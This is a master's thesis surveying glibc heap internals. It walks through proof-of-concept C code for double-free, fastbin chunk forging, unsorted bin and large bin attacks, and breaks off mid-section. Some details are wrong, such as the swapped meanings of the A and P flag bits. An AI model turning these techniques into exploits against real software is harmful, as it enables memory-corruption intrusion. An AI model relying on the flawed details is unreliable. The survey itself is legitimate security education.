Università di Genova

DIBRIS DIPARTIMENTO
DI INFORMATICA, BIOINGEGNERIA,
ROBOTICA E INGEGNERIA DEI SISTEMI

A survey of heap-exploitation techniques

Alireza Karimi

Master Thesis

Università di Genova, DIBRIS Via Opera Pia, 13 16145 Genova, Italy
https://www.dibris.unige.it/

MSc Computer Science
Data Science and Engineering Curriculum

A survey of heap-exploitation techniques

Alireza Karimi

Advisor: Giovanni Lagorio Examiner: Alessandro Armando

June, 2021

Table of Contents

Chapter 1

Introduction

Chapter 2

Introduction to glibc Heap

2.1 Heap

An application has different types of memory space, two must important are Heap and Stack. Usually, the stack is used to store local variables, also, It may use to pass the function's parameters. Unlike stack, Heap is a portion of memory which use by applications to dynamically allocate memory during run time. This means an application can request memory and freed memory during execution. The data stored in the heap are accessible by all thread, so, It is important to handle it properly. There are some other differences between stack and heap too :

- Heap memory can become fragment, but, Stack memory won't
- Heap can access to variable globally, but, the stack can access to a local variable only
- Heap memory allocation perform by developers, but, stack allocation perform by compilers
- Developer have to free heap's memory when they don't need it anymore, but, you would not have to handle stack

Each of mentioned memory spaces has advantages and disadvantages, as the result, which one to use depends on the circumstances. If you need to handle data in LIFO format then the stack is the better choice. As we mentioned, The input parameters of a function may send by stack, in this way compiler does not have to free up memory after return from the function because they remove automatically. Also, Stack memory space is a better solution for local variable access.

Every platform has a way to interact with heap memory, there are lots of allocators like iOS allocator, Free- BSD allocator, and Linux allocator. Our work specifically on *glibc* memory allocator which drives from ptmalloc heap implementations, which is itself derived from dlmalloc, so, at first we want to discuss glibc allocations algorithms and Methods. Consider the following code as an allocation sample :

```
typedef struct
{
  int field1;
  char* field2;
} SomeStruct;

int main()
{
  SomeStruct* myObject = (SomeStruct*)malloc(sizeof(SomeStruct));
  if(myObject != NULL)
  {
    myObject->field1 = 1234;
    myObject->field2 = 'Hello World!';
    do_stuff(myObject);
   free(myObject);
  }
  return 0;
}
```

The above code is a sample of how the c programming language might allocate and free memory on the heap. glibc has other functions to allocate and free memory too which we discuss future. In the following sections, we discuss how glibc manages heap memory space.

2.2 Chunk

Allocation and free are not the only job of the heap manager. The Heap manager needs some mechanism to keep track of the previous allocation and free space. Moreover, the Heap manager needs to align memory in 8 bytes for a 32bit system, and 16Byte in a 64bit system. To achieve this, the heap manager needs to store some metadata.

This allocation metadata and padding store alongside the allocated memory by malloc which returns to the user. For this reason, the Heap manager uses a concept called 'Chunk', each chunk usually bigger than request memory allocation because of metadata and alignment. When the user sends a request for memory allocation, the heap manager finds a

chunk which big enough for user data and metadata, then, returns a pointer to the User's data section of the chunk. the below code shows the chunk data structure :

```
struct malloc_chunk {
 INTERNAL_SIZE_T mchunk_prev_size;
 INTERNAL_SIZE_T mchunk_size;
 struct malloc_chunk* fd;
 struct malloc_chunk* bk;
 /* Only used for large blocks: pointer to next larger size. */
 struct malloc_chunk* fd_nextsize;
 struct malloc_chunk* bk_nextsize;
};

typedef struct malloc_chunk* mchunkptr;
```

An allocated chunk data structure is different than a free chunk. An allocated chunk just has the size field's, however, a freed chunk has two pointers to find the next free chunk, also, Because of metadata and alignment, the final size of a chunk is different than requested. Consider the following code which allocates 3 chunks of 8 bytes and free them after :

```
int main()
{
   int *a = malloc(8);
   int *b = malloc(8);
   int *c = malloc(8);
   free(a);
   free(b);
   free(c);
}
```

Take a look at heap structure after allocation :

```
Allocated chunk
Addr: 0x555555559290
Size: 0x21

Allocated chunk
Addr: 0x5555555592b0
Size: 0x21

Allocated chunk
Addr: 0x5555555592d0
Size: 0x21
```

```
Top chunk
Addr: 0x5555555592f0
Size: 0x20d11
```

As you can see, after three allocations the heap has 4 chunks. The first three are requested by a user, the final chunk with a big size is the top chunk. The top chunk is the remaining free space in the current heap. now look at returned address by glibc :

```
pwndbg> p a
$3 = (int *) 0x5555555592a0
pwndbg> p b
$4 = (int *) 0x5555555592c0
pwndbg> p c
$5 = (int *) 0x5555555592e0
```

The returned address by glibc is not the address of chunk, but, the address of the data section. if We minus these two numbers we can see 16 bytes different which use for metadata. If you look at the chunk data structure, there are two INTERNAL_SIZE_T is used to keep the size of the chunk. The glibc documentation said ' —INTERNAL_SIZE_T is the word-size used for internal bookkeeping of chunk sizes' . The default size is equal to SIZE_T. Now if we take a look at inside the memory :

```
0x555555559290: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555555592a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555592b0: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555555592c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555592d0: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555555592e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555555592f0: 0x00000000 0x00000000 0x00020d11 0x00000000
0x555555559300: 0x00000000 0x00000000 0x00000000 0x00000000
```

In the above allocation, we have 16 bytes of metadata plus 8 bytes of memory allocation which total allocation becomes 24 bytes, however, glibc must keep memory in 16-byte alignment, as the result, the final allocation is 32 byte. Take a look at the size field in an allocated chunk, we can see the size is not 32 but 33. The reason is 3 last bits of size parse differently:

1. A (NON_MAIN_ARENA) : 0 when the previous chunk is free
2. M (IS_MMAPPED): The chunk is obtained through mmap

3. P (PREV_INUSE) 0 for chunks in the main arena

Free chunks need more metadata to keep the pointer of the next and previous free chunks. To achieve this, glibc uses the data section of the chunk as a place to keep pointer metadata in the free chunk. Take look at heap after call free function :

```
Free chunk
Addr: 0x555555559290
Size: 0x21
fd: 0x00

Free chunk
Addr: 0x5555555592b0
Size: 0x21
fd: 0x5555555592a0

Free chunk
Addr: 0x5555555592d0
Size: 0x21
fd: 0x5555555592c0

Top chunk
Addr: 0x5555555592f0
Size: 0x20d11
```

Also take look at inside memory again ,You can see , glibc keep pointer information in chunk's data section .

```
0x555555559290: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555555592a0: 0x00000000 0x00000000 0x55559010 0x00005555
0x5555555592b0: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555555592c0: 0x555592a0 0x00005555 0x55559010 0x00005555
0x5555555592d0: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555555592e0: 0x555592c0 0x00005555 0x55559010 0x00005555
0x5555555592f0: 0x00000000 0x00000000 0x00020d11 0x00000000
0x555555559300: 0x00000000 0x00000000 0x00000000 0x00000000
```

2.3 Memory Allocation

First, we discuss the Heap manager in a simple algorithm, then, we discuss each part in detail. The first question is, What is happen when the user requests a memory allocation :

1. Heap manager cheek previously freed chunk, if there is a chunk which big enough, then, return it.
2. If the Heap manager unable to find a previously freed chunk, then look at the top chunk, If there is available free space, then allocated a new chunk and return it.
3. If there is not enough space in Heap anymore, then ask Kernel for new memory allocation to the end of the heap and allocate chunk from this new space.
4. If all the above space failed then malloc returns NULL, which means, we can't allocate new space.

2.3.1 Allocation from Freed Chunks

As we mention, Previously freed chunks are the first place search by the heap manager. Heap manager track of Freed chunks via some linked list call 'bins'. When a new allocation request arrives, the heap manager looks at bins to find a big enough chunk. If the chunk has the same size, then the heap manager returns it, otherwise, if the chunk is bigger than the request, then, the heap manager split it. There are several different types of bins which we discuss later.

2.3.2 Allocation from Top Chunk

So what's happen if there were no suitable previously free space? In this situation, the Heap manager checks the remaining space at the end of the heap, if there is enough space to create a chunk then allocate a new chunk from the top of the heap space.

2.3.3 Ask Kernel for more memory

So, Let's check what happens yet. First, the heap manager search through previously free chunk. Assume we don't have any suitable free chunk, as the result, the heap manager performs chunk creation in the top chunk, however, the request is bigger than this space. If there is not enough space at the end of the heap, the heap manager asks Linux Kernel for more memory. Now we have to discuss another system called 'brk'. When a program

has been started, the heap manager calls 'sbrk' which used the 'brk' system call. This system call allocates more memory just after where the program gets load which is the end of the heap. After a while, this system call break, Because, the newly allocated region at the end of the program space collides with another thing in the process's space. Once this situation happens heap manager unable to allocate contiguous memory space, so, by calling mmap try to allocate non-contiguous memory space.

2.4 MMAP

As we mentioned, the Heap manager uses MMAP for large memory allocation instead of sbrk. Chunks metadata contain a special flag for these reasons which indicate this chunk allocated off-heap via mmap. After the user releases the memory by free(), these chunks are UNMMAP. By default, the MMAP threshold is 128KB to 512KB for 32-bit and 32MB for the 64-bit system.

2.5 ARENA

Concurrency is a challenge in multi-thread applications, so, Heap manager is not safe from this issue. There are many solutions to overcome this problem. In the early days' heap managers used a simple global lock before every heap operation to overcome this situation, however, this approach has a great cost. In multi-thread applications with heavy use of heap, this strategy leads to huge performance issues, because, heap needs to lock many times.

To improve the performance ptmalloc2 introduces a concept called 'Arena'. In this approach different thread has their Arena, also, Each arena manages their chunks, as the result, threads can work at the same time on different Arena without altering each other data.

When the process creates a new thread, the heap manager finds an unused Arena up to the maximum allowed number which is (2* the number of CPU core) for 32-bit and (8* the number of CPU core) for 64-bit. So, what happens when we reach max number? Thread has to share Arena.

As we saw before, the main Areas create and grow by the sbrk system call, however, this is not true for the second heap. The second heap creates via mmap.

2.6 Sub Heap

As we mentioned subhead works like the main heap, however, they have some differences. The main heap is located right after where the program starts in memory, they grow with the 'sbrk' system call. Sub heap create by use of mmap, so, they are not located where the program starts contiguously, moreover, the Heap manager expands them by 'protect. How heap manager create and manage the sub heap? In the first step, the heap manager asks the kernel to reserve an area of memory for the subheap by malloc. Reserving does not allocate memory to subheap, it just tells the kernel, Do not use this area. Mmap by flags required page as PROT_NONE achieve this goal. On the next step, when the main heap expands by 'sbrk', the heap manager allocates the previously reserved area to subheap by calling 'protect. What mprotect do? It concerts PROT_NONE to PROT_READ, PROT_WRITE . In this way, at least the kernel allocates real physical memory to each subheap, subheap expand in mmap area until It fills all mmap reserve area.

2.7 free

Whats happens when the user does not need allocated space anymore? Simply, calling heap can free up space. Now, the question is how free() works? First, it needs to calculate the chunk address from the user pointer. User has a pointer to the user data section of the chunk, but, free() needs the actual address of chunk, so, by subtracting the pointer address from metadata size we can find the chunk address. You may ask what happens if we send an invalid pointer? This may lead to memory corruption, as the result, the heap manager does some security check before free up space :

1. Is chunk align?
2. Is chunk size valid?
3. Is Chunk in the Arena address space?
4. Is it already free?

2.8 Bins

Bin is a mechanism that the Heap manager used to manage and organize recently freed chunks, so, they can be reused during the next allocations. The simplest solution to keep track of freed space is to store them in a giant bin, although this could work It is not a good

solution. Malloc is very wildly used, so, this approach leads to a performance problem. To improve performance, the heap manager uses different types of bins. There is 5 different type of bins: small bin, large bin, fast bins, unsorted bin, tcache. All of the mentioned bins exist in the same area of heap manager source code. This is a list with 127 items, the index 0 is unused. Now, We want to discuss how the heap manager recycles a chunk for a new allocation. First, let's consider a simple schema :

1. If the M-bit in metadata is set, then this chunk is allocated off-heap, so, It should be unmmap.
2. Otherwise, if the chunk right before this chunk is free, then they merge
3. If the chunk right after this chunk is free, then they merge
4. After the merge, if the larger chunk is located at the top of the heap, then it absorbs into the end of the heap instead of adding to bins
5. Otherwise, the freed chunk add to the corresponding bin

2.8.1 Small Bins

There are 62 small bins, Each of them store the same size of the chunk, as the result, each list is sorted by default, also, store and retrieve chunk from small bins is fast. In the 32-bit system, it stores chunk size below 512 bytes, In the 64-bit system, it stores chunk size below 1024 Byte.

2.8.2 Large Bins

For chunks over 512 bytes (1024 byte 64-bit), the Heap manager uses another strategy call Large Bins. There are 63 Large Bins. The main difference between small and large bins is large bins use a size range instead of a fixed size for every bin. Every bin in the large bins store chunk with a unique size range instead of fixed size in small bins, in a way, they do not overlap with each other. The other difference is large bins need to manually sort during the insertion of a chunk. As the result large bins are slower than small bins, however, Large bins used less than small bins in a real program, so, this is not a big problem.

2.8.3 unsorted bins

Usually free() follow by an allocation of the same size in a real program. The heap manager introduced another optimization call unsorted bins. In this optimization, the heap manager

merges freed chunk with its neighbors and puts it inside a general bin call unsorted bins instead of finding the corresponding bin. When a new allocation request arrives, the heap manager iterates the overall item in unsorted bins, compares the request to each item, If an item is big enough for request, the heap manager returns it, otherwise move an item to the corresponding bin. consider following malloc code from glibc 2.23 :

```
for (;; ){
   int iters = 0;
   while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){
   }
}
```

As you can see malloc iterate over all items inside unsorted bins. We can conclude, when the heap manager tries to find chunks in unsorted bins, all of the unsorted bins chunks move to corresponding bins too.

2.8.4 fast bins

This is the second optimizations on heap manager. These bins keep recently freed small chunks in a list. As we mention unsorted bins merge chunk before adding to bins, but, chunk in unsorted bins does not merge with neighbors, instead, fast bins keeps them alive, so, If the program sends the same size request, then heap manager can use this chunks. The main difference between fast bins and small bins is fast bins do not merge chunks with neighbors. How fast bins do that? The heap manager does not free up this chunk by do not set P-bit. Of course, this strategy has a downside too, the memory of the process becomes full or fragment after a while, to overcome this issue heap manager needs to 'flush ' memory from time to time. There is not any periodic job to flushing fast bins, instead, glibc uses another variant of free function call malloc_consolidate().

2.8.5 tcache bins Bins

tcache is the last optimizations in the heap manager which added since glibc-2.26. Usually, a process has multiple threads, and a resource-like heap is shared between threats. A shared resource between threads can lead to a problem called 'race condition'. As we mentioned before, a simple strategy to overcome race conditions is 'lock'. The lock gave temporary ownership of resources to one threat. When the job of the first threat finishes, then the second one can proceed. The lock has a great cost for heap managers which is frequently used by a program. As we talk before, the Heap manager overcomes this problem by using a secondary Arena for each threat until hits the threshold, moreover, it uses tcache per-

threat to reduce the cost of the lock. tcache speeds up the allocation by having per-threat bins of a small chunk. When a threat sends an allocation request, the first tcache of that threat check for available chunk, If tcache have a big enough chunk, then threat use it and do not need to wait for a heap lock. In the first sample, you can see chunks added to tcache after call free, however, If we execute the same code on glibc-2.23 we have a different result because it does not support tcache

```
Free chunk (tcache)
Addr: 0x555555559290
Size: 0x21
fd: 0x00

Free chunk (tcache)
Addr: 0x5555555592b0
Size: 0x21
fd: 0x5555555592a0

Free chunk (tcache)
Addr: 0x5555555592d0
Size: 0x21
fd: 0x5555555592c0
```

2.9 malloc()

Let's put all it together to find out how malloc works. When a new allocation request arrives, malloc does the following procedure : Lets consider glibc-2.31, In these particular version tcache is the first place . If tcache have a chunk with the same size, the heap manager return it immediately. If the chunk is bigger than the request, tcache won't split it, instead, the heap manager keep it for future requests. In this case, the Arena does not need to lock because the chunk returns from tcache immediately. Consider the following code :

```
 if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0){
   return tcache_get (tc_idx);
}
```

The above code is located at libc_malloc function, It is responsible to check and returns a chunk from tcache before lock the arena and search for a chunk. If the tcache fail, In the next step two situations may happen. If we have a single thread application there is no need to lock at Arena because there is no concurrency, instead, in a multithread application

heap manager first get the corresponding Arena then lock it at the first. The following code is responsible to check the mentioned situation :

```
if (SINGLE_THREAD_P){
   victim = _int_malloc (&main_arena, bytes);
   return victim;
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
```

Now we discuss the _int_malloc() function . This function gets the request size and Arena then tries to allocate a chunk and return it from bins or top chunks. Let's consider tcache fails in the previous step. The next place to check is the fast bins. Also, As we mention, each fast bin keeps just one size of the chunk, as the result, remove and add a chunk to the fast bin is fast.

```
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
```

In this step, while the heap manager checks the fast bin for a suitable chunk, It fills tcache too, if found a same size chunk in the fast bin. It is a performance improvement, Usually, the following allocation has the same size too, so, the next allocation find in the tcache without the needs to Arena lock.

```
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
```

In the following step, the heap manager checks the small bins If the request is in the range of small bins chunk size. Like fast bins, each small bins keep one chunk size, so, there is no search too.

```
if (in_smallbin_range (nb)){
   idx = smallbin_index (nb);
   bin = bin_at (av, idx);
   if ((victim = last (bin)) != bin)
```

Unlike fast bins, chunks in small bins use a double link list, so, when you remove one chunk you have to fix the forward and backward pointers for previous and next chunks.

```

idx = smallbin_index (nb);
bin = bin_at (av, idx);
bck = victim->bk;
```

```
bin->bk = bck;
bck->fd = bin;
```

Small bin attacks usually abuse this part of code to write data in a location by manipulating the pointer's data. Like what happens in a fast bin, the Heap manager adds the same size chunk to tcache too. If the request was not in the range of small bins, heap manager free and merge fast bins chunk in the first place.

```
malloc_consolidate (av);
```

Now it is time to check unsorted bins chunks. As we mention, the heap manager examines all of the unsorted bins chunks to find a suitable chunk. If the chunk is the same size then the heap manages to return it, if it is bigger than the requested size heap manager split the chunk return a chunk to the user, and put the remaining chunks to corresponding bins too, and remove them from the unsorted bin.

```
for (;; )
   int iters = 0;
   while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
```

This adds and removes chunks that need to alter the forward and backward pointer of chunks which some times abused by an attacker to write data in a location. this part of code has some security check to find if the chunk and heap corrupted or not by checking the pointers and chunk size :

```
    if (__glibc_unlikely (size <= 2 * SIZE_SZ)
      || __glibc_unlikely (size > av->system_mem))
     malloc_printerr ("malloc(): invalid size (unsorted)");
    if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
      || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
     malloc_printerr ("malloc(): invalid next size (unsorted)");
    if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
     malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
    if (__glibc_unlikely (bck->fd != victim)
      || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
     malloc_printerr ("malloc(): unsorted double linked list corrupted");
    if (__glibc_unlikely (prev_inuse (next)))
     malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
```

If all of above strategy fails, the heap manager tries to allocate chunk from free space at

top chunk :

```
use_top:
victim = av->top;
   size = chunksize (victim);
   if (__glibc_unlikely (size > av->system_mem))
    malloc_printerr ("malloc(): corrupted top size");
```

You can see, this part starts with a security check. In this case, the request size is bigger than the top chunk, the heap manager calls sysmalloc as the last.

```
 void *p = sysmalloc (nb, av);
```

This function checks if the system support mmap allocation and the requested size is inside the mmap threshold then it allocates memory by using mmap. If it fails means there is no memory anymore, so malloc returns a null pointer.

2.10 calloc()

Calloc is another glib function used to allocate memory. Calloc and malloc have one important difference. unlike malloc, calloc does not use tcache. If you have free chunks in tcache then request a new memory by calloc, the heap manager won't use them instead create a new chunk from the top chunk. consider the following sample

```

int *a = malloc(8);
int *b = malloc(8);
free(a);
free(b);
calloc(1,8);
calloc(1,8);
```

If take a look at the heap state after calloc, you can see heap manager create new chunks from the top chunk and tcache chunks remain.

2.11 Alignment()

As we mention, one of the heap manager's responsibilities is to keep memory in 16-byte alignment. In short form, the heap manager return aligned memory in the allocation phase, then, When a user calls free to request a chunk, the heap manager checks the alignment of memory for security reasons too. First, see the allocation part :

```
#define SIZE_SZ (sizeof(INTERNAL_SIZE_T))
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) &
    ~MALLOC_ALIGN_MASK))
#define MALLOC_ALIGNMENT (2 *SIZE_SZ)

#define request2size(req)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? MINSIZE : ((req) + SIZE_SZ +
    MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
```

Malloc call request2size macro. This macro checks the request size, then return MINSIZE of allocation or an aligned allocation size. As we mentioned before, the heap manager saves some metadata alongside the user data, as the result, every chunk needs more space than the user requested also the allocation size cant be smaller than the minimum size. Now if we check the free function :

```
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
f (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
  {
   errstr = "free(): invalid size";
   goto errout;
  }
```

The free function checks if the size is bigger than the minimum allocation size, also, the size must be aligned otherwise an error raise which means memory is corrupted.

2.12 malloc_consolidate()

As the glibc document said, It is a specialized version of the free function that tears down chunks held in the fast bins. When a new allocation request has arrived, in some conditions the heap manager calls this method to tears down fast bins chunks.

To find when malloc_consolidate() calls, we invest two different versions of glibc. the first one is 2.23 and the second one is 2.33 which is the latest glibc version. The first usage is the malloc function , Consider the following code :

```
if (in_smallbin_range (nb)){
  malloc_consolidate (av);
}else{
   malloc_consolidate (av);
}
```

As we tell, small/large bins are one of the places which malloc search to find free chunk at the first phase. During this check, the heap manager performs flush to move fast bins chunk too. If we check mentioned section in the latest glibc version, we see a small bin check does not contain malloc_consolidate() anymore.

```
if (in_smallbin_range (nb)){

}else{
   malloc_consolidate (av);
}
```

The second usage is when the heap manager wants to use the top chunk in malloc. consider the following code in malloc :

```
use_top:
else if (have_fastchunks (av)){
    malloc_consolidate (av);
    }
```

The third usage is not in the malloc, instead, it is about free function. consider the following code from the free function :

```
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
   if (have_fastchunks(av))
   malloc_consolidate(av);
   }
```

The rest of the usage located inside malloc_trim and malloc_opt

Chapter 3

Heap Exploitation

As the implementation of the glibc has changed and improved over the years, various methods have been proposed for its exploitation. In this chapter, we discuss must famous heap exploitation techniques. how exploitation works entirely depends on the heap implementation, as the result, some techniques work on a specific version of glibc. we discussed each technique in one or more versions.

3.1 Double Free

This is the first attack that we want to discuss which use by other attacks too. What is happen if an allocated chunk of data frees twice? In this situation, the heap data structure is corrupted and finally lead to a memory leak that the attacker can use. As we discussed before, after the user frees an allocated space, this chunk adds to corresponding bins. In the simplest scenario in glibc-2.23 , it adds to fast bins. Consider the following sample code :

```
a = malloc(10); // 0xa04010
b = malloc(10); // 0xa04030
c = malloc(10); // 0xa04050
free(a);
free(b);
free(a);
d = malloc(10); // 0xa04010
e = malloc(10); // 0xa04030
f = malloc(10); // 0xa04010
```

At first, we requested 3 chunks of 10-byte. After that, we free ‘a’ and ‘b’ and at last ‘a’ again. You can see the fast bin structure after free() below step by step :

```
head -> a -> tail
head -> b -> a -> tail
head -> a -> b -> a -> tail
```

As you can see we have ‘a’ twice in the fast bins now. what is happen if the ’a’ frees twice continuous? double ’a’ can not free continuous instead the ‘b’ frees in the middle of them. This is one of the fast bins security checks if double ‘a’ free continuous the fast bin can detect the ‘a’ is on the top of the list right now, so, the program crashes. To bypass the fast bins security check, it is mandatory to free another chunk in the middle. 3 new chunks of data are allocated in the following. You can see the fast bin state below step-by-step during the second allocation :

```
head -> b -> a -> tail [ 'a' is returned ]
head -> a -> tail [ 'b' is returned ]
head -> tail [ 'a' is returned ]
```

At the end ‘d’ and ‘f’ points to the same memory location, as the result, any change in one leads to another. You should pay attention to the fact that both allocations have the same chunk size, otherwise, the heap manager creates a new chunk from the top chunk instead of return fast bins freed chunks. This method needs to be modified since glibc-2.26 introduced tcache. On the new glibc, freed chunks add to tcache instead of fast bins, as the result, we need to do some modification to this attack. consider the following code :

```
void *ptrs[8];
for (int i=0; i<8; i++) {
   ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
   free(ptrs[i]);
}
```

Tcache can keep up to 7 chunks. A simple solution to add free chunks to fast bins instead of tcache is to fill the tcache, in the following, create new chunks from the top chunk instead of return freed tcache chunks. The above code allocated 7 chunks of 8 bytes then free all of them. In the new version of glibc, all of these 7 freed chunks add to tcache. From this point, if we free other chunks, they add to fastbin because tcache is full. Now we pull back to the original approach and allocate 3 new chunks. If we use malloc() to allocate new chunks, the heap manager returns chunks from tcache, so, tcache becomes free again and we can’t implement the attack. In such a situation calloc can be used. Calloc does not use

tcache and Fast bins are free so calloc gets memory from the top chunk.

```
   int *a = calloc(1, 8);
   int *b = calloc(1, 8);
   int *c = calloc(1, 8);
```

The result of the above code is allocated 3 new chunks of memory from the top chunk while tcache is still full of freed chunks. In another word, We force the heap manager to allocate memory from the top chunk instead of use freed chunks. The above approach use by other attacks to bypass the tcache policy too. The following steps are like the original approach, but calloc :

```
free(a);
   free(b);
   free(a);

   a = calloc(1, 8);
   b = calloc(1, 8);
   c = calloc(1, 8);
```

In the previous example, we used small chunk allocation. What is happen if we request a larger chunk? considering below example on glibc-2.23 :

```
   void* p1 = malloc(0x40);
   void* p2 = malloc(0x40);
   free(p1);
   void* p3 = malloc(0x400);
   free(p1);
```

The thirds malloc have a big memory allocation, this malloc triggers another method call malloc_consolidate() automatically. Malloc In this situation consolidate chunks in the fast bin before continuing, then, put the resulting merged chunks on the unsorted bin. The result of such behavior is we have another solution to bypass the fast bin double-free security check. It is possible to use malloc with a big size instead of free another chunk in the middle of two free. The third malloc moves chunk from fast bin to unsorted, as the result, when the second free request arrives there is no chunk inside the fast bins. we can implement a double-free attack. In the final layout, we have P1 on both fast bins and unsorted bins. Move fast bins chunks to unsorted bins by a big size memory allocation is a simple approach which uses by other attack methods too.

3.2 Forged Chunk

Freeing up a chunk does not prevent access to it because the pointer still exists in the application, so, we can implement an attack on the heap data structure by taking control of the pointer . Below code shows how we can return our forged chunk instead of a real heap chunk:

```
struct forged_chunk {
 size_t prev_size;
 size_t size;
 struct forged_chunk *fd;
 struct forged_chunk *bck;
 char buf[10];      // padding
};
a = malloc(10);      // 'a' points to 0x219c010

// Create a forged chunk
struct forged_chunk chunk; // At address 0x7ffc6de96690
chunk.size = 0x20;
data = (char *)&chunk.fd;
strcpy(data, "attacker's data");

free(a); // Put the fast chunk back into fastbin

// Modify 'forward' pointer of 'a' to point to our forged chunk
*((unsigned long long *)a) = (unsigned long long)&chunk;

// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10);        // Will return 0x219c010
victim = malloc(10);   // Points to 0x7ffc6de966a0
```

In the first step, we allocate a memory 'a' with 10-Byte size, also, Create our fake chunk with size 0x20. Chunk size is important It must fall in fastbin chunks size because fastbin has a security check on chunk size while removing it from the list. Now by call free(a), the real chunk is put back in the fast bins. As we tell, we free up space but the pointer still points to chunk memory location. By accessing the pointer, we make the forward pointer of freed chunk 'a' to point to the forged chunk. The current layout of the heap is like below now :

```
head -> a -> forged chunk -> undefined (forward of the forged chunk will be
    holding attacker's data)
```

In the following by first allocated ‘a’ again, the heap manager returns the ’a’ from the fast bin, following that, our forged chunk be at the head, so, next allocation return it instead of a real chunk

```
head -> forged chunk -> undefined
head -> undefined [ forged chunk is returned to the victim ]
```

Take into consideration, another allocation on fastbin could raise Segmentation faults. Now let’s use double-free vulnerabilities in glibc-2.23, The below code is just an extended version of the Double Free attack which we examined. The extended version tricks malloc() to return a controller memory location on the stack instead of a real chunk of the heap.

```
unsigned long long stack_var;
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
free(b);
free(a);
unsigned long long *d = malloc(8);
malloc(8);
stack_var = 0x20;
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
malloc(8)
malloc(8)
```

As you can see in the first part we allocate 3 chunks and free one of them twice to bypass the fastbin security check as we mentioned before, as the result, we have twice ‘a’ in the fastbin list and attack by modifying data at ‘a’. On the following we have two mallocs, the first one keep access to ‘a’ inside ‘d’ pointer, the second one simply remove the ‘b’ from top of the fastbins, now we have one pointer to ‘a’ inside the program as ‘d’ , also, another ‘a’ at top of the heap, remember any change on ‘a’ inside the program could affect on ‘a’ at top of fastbin too.

```
head -> a
```

The final step is to write 0x20 on the stack and overwrite the first 8 bytes of data at ‘a’ (any change on ‘d’ affect ‘a’ at top of the fast bins) in away point to write before 0x20 on the stack. In this way, we trick the heap in a way that thinks there is an available free chunk. Now, all we have to do is remove ‘a’ from the top of the fast bins with a call to malloc(), then, final malloc returns a controller address on memory to the program, in this case, stack.

3.3 Unsorted Bin Attack

In previous sections we see how to implement an attack on fast bins, now, we want to demonstrate an attack on the unsorted bin. As the name suggests this attack abuse unsorted bins to conduct an attack. The mechanism of this attack is to take control of backward pointer chunks in the unsorted bin. The goal of this attack is to modify a value, as the result, this attack can be used to implement other attacks too.

Let's start with a sample and consider the following code. This code tries to write a big value in the stack:

```
unsigned long stack_var=0;
unsigned long *p=malloc(400);
malloc(500);
free(p);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
//------------------------------------
malloc(400);
```

At the first line, we define our target 'stack_var' where we want to write the big value. On the second and third lines, we allocate two memory chunks from the heap. The second allocation needs to keep a distance from the top of the heap, otherwise, when we free 'p' the heap manager merges it with the top of the heap automatically. At least, we have to write our target address in the backward pointer of 'p'. Now, the heap manager does the rest. As we mentioned before Unsorted Bin uses a double linked list, so, when the heap manager tries to remove a chunk from this double-link list, the backward pointer must be rewritten to remove a chunk from the list, In malloc, we have such a code :

```
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```

The last malloc tries to allocate 400-Byte of memory, so the heap manager checks the unsorted bin to find a suitable chunk of memory. Also, move the unsorted bin's chunk to corresponding bins. If you check the malloc source code you can see malloc check every item to achieve this goal. At first, we have such a code :

```
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){
bck = victim->bk;
```

'Av' is Arena and unsorted_chunks (av) is the head of the Unsorted bin and Victim is our

current item. You can see, malloc checks items from the head of the Unsorted bin and removes them one by one. Put it all to gather :

```
victim = unsorted_chunks (av) -> bk = p
bck = victim->bk = p->bk = target addr-16
unsorted_chunks(av)->bk = bck = target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
```

Now it is clear that if we control the backward pointer, then, we can write data to any address, however, we do not have control over data. In this case, the linked list header was written on a stack variable. In the recent versions of glibc the following check was added to prevent this attack:

```
if (\_\_glibc_unlikely (bck->fd != victim))
   malloc\_printerr ('malloc(): corrupted unsorted chunks 3');
```

3.4 Large bin Attack

As the name suggests, this attack is about the Large bins. The goal is to force a large bin to write data in a controlled location.

```
size_t target = 0;
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
```

The first step is to define the target, also, we need to define two chunks in the range size of large bins, moreover, we need to define two chunks between them to prevent them from merging or the top chunk.

```
free(p1);
size_t *g3 = malloc(0x438);
```

